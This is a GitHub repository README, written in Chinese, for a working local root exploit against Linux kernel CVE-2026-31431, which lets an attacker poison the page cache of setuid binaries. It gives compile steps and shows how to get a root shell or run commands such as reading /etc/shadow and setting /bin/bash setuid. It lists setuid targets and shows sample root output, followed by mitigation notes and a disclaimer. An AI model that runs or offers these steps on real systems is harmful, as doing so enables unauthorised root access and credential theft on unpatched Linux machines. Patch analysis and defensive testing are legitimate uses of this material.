H1d3r/copy-fail_LPE_Interactive

GitHub: H1d3r/copy-fail_LPE_Interactive

针对 Linux 内核 CVE-2026-31431 page cache 污染漏洞的本地提权利用工具,支持非交互式命令执行,无需竞态条件和内核偏移量,单二进制通杀主流发行版。

Stars: 0 | Forks: 0

# CVE-2026-31431 Copy Fail Exploit Linux 内核 page cache 污染漏洞利用工具,支持非交互式命令执行。 ## 漏洞概述 CVE-2026-31431 是 Linux 内核中的一个逻辑缺陷漏洞,存在于 `authencesn` AEAD 算法实现中。通过 `AF_ALG` 和 `splice()` 系统调用链,攻击者可以向任意可读文件的 page cache 写入 4 字节数据。 **影响范围:** - Linux 内核 4.14+ (2017年 - 2026年4月) - 几乎所有主流发行版:Ubuntu、Debian、CentOS、RHEL、Amazon Linux 等 **漏洞特点:** - 100% 可靠,无需竞态条件 - 无需内核偏移量计算 - 同一个二进制文件适用于所有发行版 - 不修改磁盘文件,仅污染内存缓存 ## 文件说明 . ├── copyfail_universal.c # 主POC源码(静态编译,无libc依赖) ├── copyfail_universal # 编译后的二进制文件 ├── run_cmd.sh # 非交互式执行wrapper脚本 ├── Makefile # 编译脚本 └── README.md # 本文档 ## 编译 # 方法1: 使用gcc和ld gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie ld copyfail_universal.o -o copyfail_universal -static -nostdlib chmod +x copyfail_universal # 方法2: 使用Makefile make ## 使用方法 ### 交互式 Root Shell ./copyfail_universal ### 非交互式命令执行 # 方法1: 使用wrapper脚本(推荐) ./run_cmd.sh "id" ./run_cmd.sh "cat /etc/shadow" ./run_cmd.sh "chmod 4777 /bin/bash" # 方法2: 通过管道 echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal # 方法3: 使用环境变量 CMD='whoami' ./copyfail_universal ### 指定其他 setuid 目标 # 默认目标是 /usr/bin/su # 可以通过修改源码中的 path 变量指定其他目标 # 常见可用目标: # /usr/bin/su # /usr/bin/passwd # /usr/bin/chsh # /usr/bin/chfn # /usr/bin/gpasswd # /usr/bin/pkexec ## 自动恢复 漏洞仅修改 page cache,不修改磁盘文件。执行以下命令可恢复: sync; echo 3 > /proc/sys/vm/drop_caches `run_cmd.sh` 脚本已内置自动恢复功能。 ## 示例输出 $ ./run_cmd.sh "id" [*] CVE-2026-31431 Copy Fail Exploit [*] Target: /usr/bin/su [*] Mode: Interactive shell [*] Payload size: 112 bytes [*] Corrupting page cache... [+] Done! Executing su... uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo) ## 受影响的 setuid 程序 | 程序 | 路径 | 可用性 | |------|------|--------| | su | /usr/bin/su | ✅ 默认 | | passwd | /usr/bin/passwd | ✅ | | chsh | /usr/bin/chsh | ✅ | | chfn | /usr/bin/chfn | ✅ | | gpasswd | /usr/bin/gpasswd | ✅ | | pkexec | /usr/bin/pkexec | ✅ | | mount | /bin/mount | ✅ | | umount | /bin/umount | ✅ | 查找系统上所有 setuid 程序: find / -perm -4000 -user root -type f 2>/dev/null ## 修复建议 1. **更新内核** - 升级到包含补丁 `a664bf3d603d` 的内核版本 2. **临时缓解** - 禁用 `algif_aead` 模块: echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true 3. **容器环境** - 使用 seccomp 阻止 `AF_ALG` socket 创建 ## 技术细节 - **漏洞类型**: Page cache 写入越界 - **根本原因**: `authencesn` 使用目标缓冲区作为临时存储,写入超出边界的 4 字节 - **利用方式**: 通过 `splice()` 将 page cache 页面传入 crypto 子系统 - **写入能力**: 每次操作可写入 4 字节到任意可读文件的 page cache ## 免责声明 本工具仅供安全研究和授权测试使用。使用本工具攻击未授权系统属于违法行为。使用者需自行承担所有法律责任。 ## 参考资料 - [CVE-2026-31431 Write-up](https://copy.fail/) - [Xint Blog - Copy Fail](https://xint.io/blog/copy-fail-linux-distributions) - [GitHub - 官方POC](https://github.com/theori-io/copy-fail-CVE-2026-31431)
标签:AF_ALG, CentOS, CVE-2026-31431, Debian, Hpfeeds, Linux内核漏洞, Page Cache污染, POC, RHEL, Root权限, setuid, Web报告查看器, 代码执行, 任意文件写入, 安全渗透, 客户端加密, 提权漏洞, 本地提权, 漏洞复现, 系统调用, 缓冲区溢出, 网络安全, 隐私保护, 零日漏洞, 非交互式命令执行